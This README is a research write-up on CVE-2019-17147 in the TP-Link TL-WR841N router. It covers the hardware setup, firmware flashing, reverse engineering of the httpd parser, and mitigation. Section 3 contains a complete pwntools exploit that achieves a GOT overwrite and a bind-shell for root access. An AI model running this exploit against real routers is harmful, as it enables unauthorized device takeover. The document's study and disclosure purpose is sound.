README.md
Rendering markdown...
# Router Analysis and Exploitation: CVE-2019-17147
**Authors:** Angelo Zullo, Simone Vitto, Vincenzo Cantatore
## Table of Contents
1. [Introduction](#1-introduction)
2. [Infrastructure Setup](#2-infrastructure-creation)
* 2.1 [Physical Analysis of the Router](#21-physical-analysis-of-the-router)
* 2.2 [Memory Dump](#22-memory-dump)
* 2.3 [Accessing the Router Console via UART](#23-accessing-the-router-console-via-uart)
* 2.4 [Replacing Current Firmware with the Vulnerable Version](#24-replacing-current-firmware-with-the-vulnerable-version)
3. [Vulnerability Discovery and Exploitation](#3-vulnerability-discovery-and-exploitation)
* 3.1 [Static Analysis](#31-static-analysis)
* 3.2 [Dynamic Analysis](#32-dynamic-analysis)
* 3.3 [Writing the Exploit](#33-writing-the-exploit)
4. [Vulnerability Mitigation](#4-vulnerability-mitigation)
5. [Conclusions](#5-conclusions)
---
## 1. Introduction
This document analyzes the process of reverse engineering and exploiting a critical vulnerability on a commercial network device. The objective is to document the steps necessary to achieve Remote Code Execution (RCE), starting from hardware analysis up to the development of a functioning software exploit.
The case study examined concerns the **TP-Link TL-WR841N** router (**MIPSEL** architecture), affected by the vulnerability known as **CVE-2019-17147**.
![][image2]
---
## 2. Infrastructure Setup
### 2.1 Physical Analysis of the Router
The preliminary investigation required opening the device case to allow direct access to the motherboard (PCB).
![][image3]
Visual inspection of the integrated circuits allowed for the identification of key components: the CPU, RAM memory, and Flash memory.
On the right side of the PCB, the UART interface was located, which is essential for debug operations.
Attention focused on the Flash memory, the component responsible for storing the firmware.
![][image4]
Consulting the datasheet for the **Feon QH32B-104HIP** chip, it was confirmed to be an SPI (Serial Peripheral Interface) NOR Flash memory produced by Feon Microelectronics, with a capacity of 32 Megabits and an operating voltage between 2.7 and 3.6 V.
![][image5]
### 2.2 Memory Dump
In order to obtain a backup copy of the original firmware and analyze its contents, we proceed with memory extraction (dump). This operation is crucial to prevent permanent loss of the device in case of critical errors (bricking).
For reading, a **CH341A** programmer is used, interfaced directly to the chip via a **SOIC8** clip (In-Circuit Programming), thus avoiding desoldering operations.
![][image6]![][image7]
Using the `flashrom` tool, we first verify chip detection:
```bash
sudo flashrom -p ch341a_spi
```
Subsequently, a full memory read is performed:
```bash
sudo flashrom -p ch341a_spi -r dump.bin
```
The extracted firmware is saved in the file `dump.bin`. Finally, the integrity of the acquired data is verified:
```bash
sudo flashrom -p ch341a_spi -v dump.bin
```
The obtained file can be used for system restoration or subjected to analysis to identify credentials or sensitive configurations.
### 2.3 Accessing the Router Console via UART
To establish serial communication with the device, we connect to the UART interface using a USB-TTL converter.
The connections made are: **GND-GND**, **TX-RX**, **RX-TX**. The VCC pin is isolated, as power is supplied directly by the router's power adapter.
![][image8]
The `minicom` serial terminal is configured with the following standard parameters:
```bash
sudo minicom -s
```
* `Serial Device`: `/dev/ttyUSB0`
* `Bps/Par/Bits`: `115200 8N1`
Upon router startup, the console displays boot logs. At the end of the boot procedure, the interface provides access to a root shell without requiring authentication credentials.
![][image9]
### 2.4 Replacing Current Firmware with the Vulnerable Version
To reproduce the vulnerability, it is necessary to install the firmware version affected by the bug: `TL-WR841N(US)_V14_180319`.
Since the vulnerable firmware is no longer officially distributed, it was recovered via digital historical archives (Wayback Machine).
![][image10]
After downloading the correct version:
![][image11]
A hardware discrepancy is noted: the device in use is version **EU** (Europe), while the vulnerable firmware is intended for version **US**. Directly flashing the entire binary file would entail a high risk of bricking due to differences in the bootloader and radio configurations.
Therefore, we proceed with the selective extraction and replacement of only the operating system partitions.
Using `binwalk`, partition offsets are identified:
```bash
binwalk TL-WR841Nv14_US.bin
```
The partitions of interest (`boot`, `kernel`, `rootfs`) are extracted using `dd`:
```bash
dd if=TL-WR841Nv14_US.bin of=mtd0_boot.bin bs=1 skip=53952 count=$((66560 - 53952))
dd if=TL-WR841Nv14_US.bin of=mtd1_kernel.bin bs=1 skip=66560 count=$((1049088 - 66560))
dd if=TL-WR841Nv14_US.bin of=mtd2_rootfs.bin bs=1 skip=1049088
```
For writing to the router's flash memory, the `flashcp` tool (part of the `mtd-utils` suite) compiled for **MIPSEL** architecture is required.
To obtain it, a MIPSEL environment is emulated using **QEMU**:
```bash
qemu-system-mipsel \
-M malta -m 1G \
-kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append “root=/dev/hda1 console=ttyS0 ignore_loglevel” \
-serial mon:stdio \
-net nic -net user
```
![][image12]
Inside the emulated environment, necessary utilities are installed:
```bash
apt-get install mtd-utils
which flashcp
```
![][image13]
To transfer files to the router, a TFTP server is set up on the host machine:
```bash
sudo atfpd --no-fork --daemon --port 6969 --bind-address 0.0.0.0 /srv/tftp
```
From the router console, `flashcp` and the extracted partitions are downloaded:
```bash
tftp -g -r flashcp 192.168.1.2 6969
chmod +x flashcp
tftp -g -r mtd0_boot.bin 192.168.1.2 6969
tftp -g -r mtd1_kernel.bin 192.168.1.2 6969
tftp -g -r mtd2_rootfs.bin 192.168.1.2 6969
```
Finally, partition rewriting is performed:
```bash
./flashcp mtd0_boot.bin /dev/mtd0
./flashcp mtd1_kernel.bin /dev/mtd1
./flashcp mtd2_rootfs.bin /dev/mtd2
```
The device is now configured with the vulnerable firmware, ready for the analysis phase.
---
## 3. Vulnerability Discovery and Exploitation
### 3.1 Static Analysis
Firmware analysis begins with extracting the filesystem from the `rootfs.bin` partition using `binwalk -Me`.
![][image14]
Exploring the directory structure:
![][image15]
The goal is to identify exposed binaries handling external input. The ideal target is the web administration service, located at `/usr/bin/httpd`.
![][image17]
Httpd stands for HyperText Protocol Daemon and is software that functions as a web server.
We use IDA to decompile and analyze the file:
![][image18]
The file is analyzed with the **IDA Pro** disassembler.
Fortunately, the binary is not *stripped*, keeping symbols and function names visible, which greatly facilitates reverse engineering. Attention focuses on parsing functions, common vectors for vulnerabilities.
![][image19]
We start by analyzing the `http_parser_main` function, which will surely contain the main logic of the parser.
The first thing we notice is that, in addition to a long list of variables at the beginning of the function, there is a call to the `memset` function:
![][image20]
This function zeros out all 512 bytes of the “buffer”, so while we proceed with the analysis of the function and rename all variables for better understanding, let's analyze how this buffer is used.
![][image21]
![][image22]
We observe the use of a custom function named `cstr_strncpy` for handling HTTP headers (e.g., `Host`). This function accepts a `copy_len` parameter determining the amount of data to copy. If this parameter derives from user input length rather than the destination buffer size, a **Stack Buffer Overflow** vulnerability is configured.
Comparison between prototypes:
```c
char *strcpy(char *string1, const char *string2);
void cstr_strncpy(char *dest_buffer, const char *src_buffer, int copy_len);
```
MIPSEL assembly code analysis confirms the function's behavior:
![][image23]
> **Important:** the snippet above illustrates the internal logic of `cstr_strncpy` and does not constitute the exploit payload.
**Register Analysis:**
```text
0x405DF4 cstr_strncpy call
0x405DE4 a0 = vuln_buff
0x405DEC a1 = $s7
0x405DF0 a2 = $v0
```
Where:
* `a0` (vuln_buff): Destination buffer (Stack).
* `a1` ($s7): Source string (User-controlled HTTP Header).
* `a2` ($v0): Copy length (Source string length).
Another critical function for the exploit is `http_parser_argStrToList`, which converts a string into a linked list data structure.
![][image24]
The managed data structure is composed as follows:
![][image25]
The struct contains two fundamental pointers: to the previous node and to the next node.
![][image26]
Memory writing operation occurs via the `sw` (Store Word) instruction:
![][image47]
![][image27]
By controlling the content of these pointers via overflow, it is possible to direct the `sw` instruction towards an arbitrary address, realizing a **Write-What-Where** primitive.
The complete code of the analyzed functions is available on GitHub:
[https://github.com/imnot-ye/CVE-2019-17147/tree/main/Reversed%20Functions](https://github.com/imnot-ye/CVE-2019-17147/tree/main/Reversed%20Functions)
### 3.2 Dynamic Analysis
To verify the overflow and study process behavior at runtime, remote debugging is used.
`gdbserver` (compiled for MIPSEL) is loaded onto the router:
```bash
tftp -g -r gdbserver 192.168.1.2 6969
chmod +x gdbserver
```
![][image28]
The PID of the `httpd` process is identified (e.g., 320):
![][image29]
The debugger is started listening on port 4444:
```bash
./gdbserver 0.0.0.0:4444 –attach 320
```
From the analysis workstation, `gdb-multiarch` is started for remote connection.
![][image30]
A first Python script (PoC) is used to send a payload exceeding 512 bytes:
```python
#!/usr/bin/python3
from pwn import *
import sys
import urllib.request
import urllib.parse
# ... (class and connection configuration) ...
def exploit():
target_ip = '192.168.0.1'
w = WebService(target_ip)
# Payload: 512 bytes of padding + overwrite
host_padding = b'A' * 512 + b'A'*6
w.make_req('/qr.htm', host=host_padding)
# Trigger parsing
w.make_req('/qr.htm', {'_':'hello'})
print("[+] Done!")
if __name__ == '__main__':
exploit()
```
Executing the PoC causes the `httpd` service to crash. Analyzing the crash register in GDB:
![][image31]![][image32]
An attempt to dereference address **0x41414145** (corresponding to string "AAAE") is observed. The crash occurs inside `http_parser_argStrToList`, confirming that the overflow overwrites linked list pointers.
To plan the exploit, memory protections must be analyzed:
* **Overflow Area:** Heap.
* **Permissions:** From memory map analysis (`vmmap`), the Heap area appears to have **RWX** (Read, Write, Execute) permissions.
![][image33]
The presence of an executable Heap is a critical vulnerability that significantly simplifies the attack, allowing direct execution of shellcode without resorting to complex ROP techniques.
![][image34]
Analyzing memory content after the crash, we confirm control over data:
![][image35]
### 3.3 Writing the Exploit
The exploitation strategy relies on three pillars:
1. **Overflow Possibility:** Ability to write beyond buffer limits.
2. **Pointer Corruption:** Control of `next` and `prev` pointers of the struct, allowing arbitrary writes (Write-What-Where).
3. **Executable Heap:** Possibility to execute injected code.
The chosen technique involves overwriting an entry in the **Global Offset Table (GOT)**. The ideal target is the `atol` function, frequently called by the program. By overwriting the address of `atol` in the GOT with the address of our shellcode (injected into the Heap), we will achieve arbitrary execution at the next call of that function.
#### Debugging and Refinement Phase
During initial tests, overwriting behavior was observed:
![][image36]
The linked list update mechanism copies data from the stack to the address pointed to by corrupted registers.
![][image37]
Sending a malicious payload:
![][image38]
List pointers are overwritten. The linked list logic ("unlink" or node update) uses these corrupted addresses to perform writes. If we control `next` and `prev`, we control **where** and **what** is written.
![][image39]
During exploit development, a problem related to "Bad Characters" emerged.
![][image40]
The target address contained a null byte (`\x00`). The `strcpy` function terminates copying at the first null byte, truncating the payload and rendering the attack ineffective.
![][image41]
#### Solution: Staged Payload
To bypass the null byte limitation, a "Staged Injection" technique is adopted. Since the process reuses the same persistent memory area (Heap), it is possible to send multiple consecutive requests to compose the final payload in memory one piece at a time.
```python
# Stage 1: Shellcode Injection (upper part)
payload_1= host_padding + b'AAAA' + p32(shellcode_addr, endian='little')
w.make_req('/qr.htm', host=payload_1)
# Stage 2: GOT Address Writing (bypasses final null byte)
print("[+] Overflowing buffer")
payload_2 = host_padding + p32(atol_got_addr, endian='little')
w.make_req('/qr.htm', host=payload_2)
```
![][image42]
#### Technical Attack Summary
* **Vulnerability:** Stack-based Buffer Overflow in `cstr_strncpy`.
* **Vector:** Linked List Pointer Manipulation (`http_parser_argStrToList`).
* **Payload:** MIPS Shellcode (Bind Shell).
* **Execution:** Heap Spraying + GOT Overwrite (`atol` -> `Shellcode`).
#### Final Exploit Code
The following Python script automates the entire process:
```python
#!/usr/bin/python3
from pwn import *
import sys
import urllib.request
import urllib.parse
context.clear()
context.arch = 'mips'
context.bits = 32
context.endian = 'little'
class WebService:
def __init__(self, ip, port=80):
self.rooturl = "http://" + ip + ':' + str(port)
def make_req(self, path, arg=None, host='192.168.0.1', has_ContentLength=False):
headers = {'Host': host}
if has_ContentLength:
headers['Content-Length'] = '0'
if arg is not None:
parameter = arg
parameter = urllib.parse.urlencode(parameter)
fullurl = self.rooturl + path + '?' + parameter
else:
fullurl = self.rooturl + path
req = urllib.request.Request(fullurl, None, headers)
response = urllib.request.urlopen(req)
data = response.read()
return data
def shellcode(port=31337):
# Bind Shell shellcode generation
shellcode = shellcraft.mips.linux.bindsh(port)
return asm(shellcode)
def exploit():
target_ip = '192.168.0.1'
w = WebService(target_ip)
# Target addresses (specific for this firmware version)
atol_got_addr = 0x423774 - 4
host_padding = b'a' * 512
shellcode_addr = 0x438174
print(f"[*] Attacking target: {target_ip}")
print(f"[*] GOT Address (atol): {hex(atol_got_addr)}")
# Stage 1: Writing Shellcode Address
print("[*] Stage 1: Writing Shellcode Address...")
host_str = host_padding + b'AAAA' + p32(shellcode_addr, endian='little')
w.make_req('/qr.htm', host=host_str)
# Stage 2: Writing GOT Address
print("[*] Stage 2: Writing GOT Address...")
host_str = host_padding + p32(atol_got_addr, endian='little')
w.make_req('/qr.htm', host=host_str)
# Stage 3: Trigger Write-What-Where
print("[*] Stage 3: Overwriting GOT entry...")
w.make_req('/qr.htm', {'_':'hello'})
# Stage 4: Sending Shellcode Payload
print("[*] Stage 4: Sending Shellcode payload...")
# NOP Sled + Shellcode
host_str = b'q'*0x40 + shellcode(31337)
w.make_req('/qr.htm', host=host_str)
# Stage 5: Hijacking execution flow
print("[*] Stage 5: Triggering execution via atol()...")
try:
# Force call to atol via Content-Length
w.make_req('/qr.htm', has_ContentLength=True)
except Exception:
pass
print("[+] Exploit sent! Try connecting: nc 192.168.0.1 31337")
if __name__ == '__main__':
exploit()
```
Executing the exploit:
![][image43]
It is possible to connect to the obtained remote shell on port 31337:
![][image44]
Root access to the system has been successfully obtained.
---
## 4. Vulnerability Mitigation
Fixing the vulnerability at the source code level requires implementing checks on the length of copied data. It is imperative not to use the source string length as the limit for copying.
**Proposed Correction (Secure Coding):**
Use the destination buffer size as an impassable limit:
```c
// Incorrect: cstr_strncpy(&buffer, header_value, strlen(header_value));
// Correct:
size_t buffer_len = sizeof(buffer);
cstr_strncpy(&buffer, header_value, buffer_len - 1);
```
Furthermore, the absence of standard protections at the compilation level significantly aggravates the risk. Although system stability with all protections active cannot be confirmed without extensive testing, it is strongly recommended to enable the **NX (No-Execute)** bit to make the stack and heap non-executable. This would have prevented direct execution of the shellcode injected into the heap.
---
## 5. Conclusions
This study analyzed in detail the **CVE-2019-17147** vulnerability, demonstrating how an input validation error in a critical component like the web server can compromise the entire device security.
The vulnerability is classified with a **CVSS v3.1 score of 8.8 (High)**, indicating a high risk due to ease of exploitation (no authentication required, attack via local network) and total impact on confidentiality, integrity, and availability.
Official Reference: [NIST NVD - CVE-2019-17147](https://nvd.nist.gov/vuln/detail/CVE-2019-17147)
![][image45]![][image46]
The analysis highlights the crucial importance of keeping network device firmware updated and underscores the need for manufacturers to adopt secure development practices (Secure Coding) and implement modern binary protections (Exploit Mitigation) to reduce the attack surface.
---
[image1]: https://i.imgur.com/57h4lq9.png
[image2]: https://i.imgur.com/9FyOyA8.png
[image3]: https://i.imgur.com/r2KRvyd.png
[image4]: https://i.imgur.com/eNq1fy1.png
[image5]: https://i.imgur.com/4hLGnr1.png
[image6]: https://i.imgur.com/DXMTLqB.png
[image7]: https://i.imgur.com/lPxHp1d.png
[image8]: https://i.imgur.com/1zxGWQF.png
[image9]: https://i.imgur.com/RdNmm21.png
[image10]: https://i.imgur.com/5By4Yks.png
[image11]: https://i.imgur.com/cG21KXP.png
[image12]: https://i.imgur.com/esYYq3a.png
[image13]: https://i.imgur.com/SHSgop2.png
[image14]: https://i.imgur.com/G4fRMR0.png
[image15]: https://i.imgur.com/f7kelSK.png
[image16]: https://imgur.com/Pg4pJoW
[image17]: https://i.imgur.com/A9bGDkY.png
[image18]: https://i.imgur.com/fFJk85Y.png
[image19]: https://i.imgur.com/C4QzgrS.png
[image20]: https://i.imgur.com/o8mTQdr.png
[image21]: https://i.imgur.com/S9MoFgC.png
[image22]: https://i.imgur.com/xDCXqGs.png
[image23]: https://i.imgur.com/eUA3HiB.png
[image24]: https://i.imgur.com/5aNZeAK.png
[image25]: https://i.imgur.com/YAGxXgK.png
[image26]: https://i.imgur.com/97GFrit.png
[image27]: https://i.imgur.com/1XtoxzV.png
[image28]: https://i.imgur.com/GuPxiBC.png
[image29]: https://i.imgur.com/VOndPog.png
[image30]: https://i.imgur.com/IZE2pks.png
[image31]: https://i.imgur.com/Mcwofms.png
[image32]: https://i.imgur.com/0Tf9ovL.png
[image33]: https://i.imgur.com/miaXTwA.png
[image34]: https://i.imgur.com/0Qx25gg.png
[image35]: https://i.imgur.com/zkplkQi.png
[image36]: https://i.imgur.com/9EUgeh2.png
[image37]: https://i.imgur.com/Il4dma9.png
[image38]: https://i.imgur.com/BHwGcO5.png
[image39]: https://i.imgur.com/TKLnVo9.png
[image40]: https://i.imgur.com/ArVJX51.png
[image41]: https://i.imgur.com/DLK0K2A.png
[image42]: https://i.imgur.com/pPcii46.png
[image43]: https://i.imgur.com/I45F1th.png
[image44]: https://i.imgur.com/72adjQX.png
[image45]: https://i.imgur.com/AH3nyCz.png
[image46]: https://i.imgur.com/BNZrOUc.png
[image47]: https://i.imgur.com/8WepAhY.png